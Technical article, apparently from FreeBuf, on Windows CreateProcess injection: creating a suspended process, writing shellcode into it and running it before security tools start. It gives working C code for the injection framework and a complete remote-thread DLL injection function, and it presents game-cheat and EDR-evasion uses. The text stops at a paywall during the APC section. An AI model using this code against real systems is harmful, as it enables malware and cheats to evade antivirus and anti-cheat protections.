lsec096
- 关注
CreateProcess注入是一种通过主动创建目标进程来实现代码植入的技术,其主要优点是注入时机比较早,目标进程的防护和检测机制还未启动,可以有效规避目标进程中的一些安全防护和检测。比如,在游戏外挂中,用于在游戏的反外挂驱动起来之前获取游戏进程的读写权限;在红队渗透测试中,用于绕过杀软/EDR基于API Hook的注入检测。本文将介绍CreateProcess注入的基本框架,基于此框架介绍四种不同的注入实现,最后给出检测和对抗方案。
一、核心环节
CreateProcess注入可以分为三个环节:
主动创建挂起进程:通过
CreateProcess
等API以CREATE_SUSPENDED
标志创建处于挂起状态的目标进程,阻止其立即执行。
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags, // 填 CREATE_SUSPENDED
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
注入代码并构造执行时机:在挂起的进程内存中写入shellcode,并构造执行时机,常见的方法有:
创建远线程:以shellcode为线程函数创建远线程,可立即执行,不需要等进程恢复。
添加APC:以shellcode为APC函数添加到主线程的APC队列,在主线程恢复时调用APC。
Hook线程IP(指令指针)寄存器:修改目标进程中主线程的IP寄存器指向shellcode,shellcode执行完后跳回原IP处。
修改入口点:修改进程入口点指向shellcode,shellcode执行完后跳回原入口点。
恢复目标进程执行:恢复目标进程执行,shellcode在指定时机被调用,完成注入。
二、具体实现
2.1 实现框架
基于上述环节,可以给出CreateProcess注入的代码框架,只是获取执行时机这一步骤的具体实现不同。
创建挂起进程:
CreateProcess
+CREATE_SUSPENDED
分配内存:
VirtualAllocEx
构建执行时机:取决于具体注入方式
恢复主线程:
ResumeThread
#define SHELLCODE_SIZE 0x1000
int main(int argc, char** argv) {
char* victimPath = argv[1];
char* injectDllPath = argv[2];
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
do {
// 1. 以挂起状态创建目标进程
si.cb = sizeof(si);
if (!CreateProcessA(victimPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
{
printf("[-] Create victim process failed: %d\n", GetLastError());
break;
}
printf("[+] Create victim process OK, pid=%d, main tid=%d\n", pi.dwProcessId, pi.dwThreadId);
// 2. 在目标进程中分配内存,用于写入Shellcode
void* shellcodeAddr = VirtualAllocEx(pi.hProcess, NULL, SHELLCODE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellcodeAddr == NULL) {
printf("[-] Alloc memory in victim process failed: %d\n", GetLastError());
break;
}
printf("[+] Alloc memory in victim process OK: %p\n", shellcodeAddr);
// 3. TODO: 写入shellcode,并构建shellcode的执行时机
// 4. 恢复目标线程的执行
ResumeThread(pi.hThread);
printf("[+] Inject done\n");
} while (false);
if (pi.hProcess != NULL)
CloseHandle(pi.hProcess);
if (pi.hThread != NULL)
CloseHandle(pi.hThread);
return 0;
}
2.2 执行时机的构建
创建远线程
以CREATE_SUSPENDED
标记创建目标进程,实际上暂停的是目标进程中的主线程,并不影响其他线程的执行。所以,可以通过创建远线程的方式,执行写入的shellcode。比如,把注入的dll的路径写入申请的shellcode位置,然后以LoadLibraryA
为线程函数创建远线程,线程函数参数为dll路径,线程执行时就会加载dll。
bool injectByRemoteThread(HANDLE hVictimProcess, void* shellcodeAddr, const char* injectDllPath) {
// 将注入的dll的路径写入分配的shellcode内存中
if (!WriteProcessMemory(hVictimProcess, shellcodeAddr, injectDllPath, strlen(injectDllPath) + 1, NULL))
{
printf("[-] Write injection dll path to victim process failed: %d\n", GetLastError());
return false;
}
printf("[+] Write injection dll path to victim process OK\n");
// 创建远线程,线程函数为LoadLibraryA,参数为shellcode地址
DWORD tid = 0;
HANDLE hRemoteThread = CreateRemoteThread(hVictimProcess, NULL, 0, (PTHREAD_START_ROUTINE)LoadLibraryA, shellcodeAddr, 0, &tid);
if (hRemoteThread == NULL) {
printf("[-] Create remote thread for victim process failed: %d\n", GetLastError());
return false;
}
printf("[+] Create remote thread for victim process OK: tid=%d\n", tid);
return true;
}
添加APC
除了使用远线程执行shellcode,也可以使用APC的方式执行shellcode。APC(异步过程调用)是Windows系统提供的一种线程间通信机制,通过QueueUserAPC
向目标线程的APC队列添加一个APC函数,当目标线程处于alertable状态时,就会执行APC函数。如果AP
畅读付费文章
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)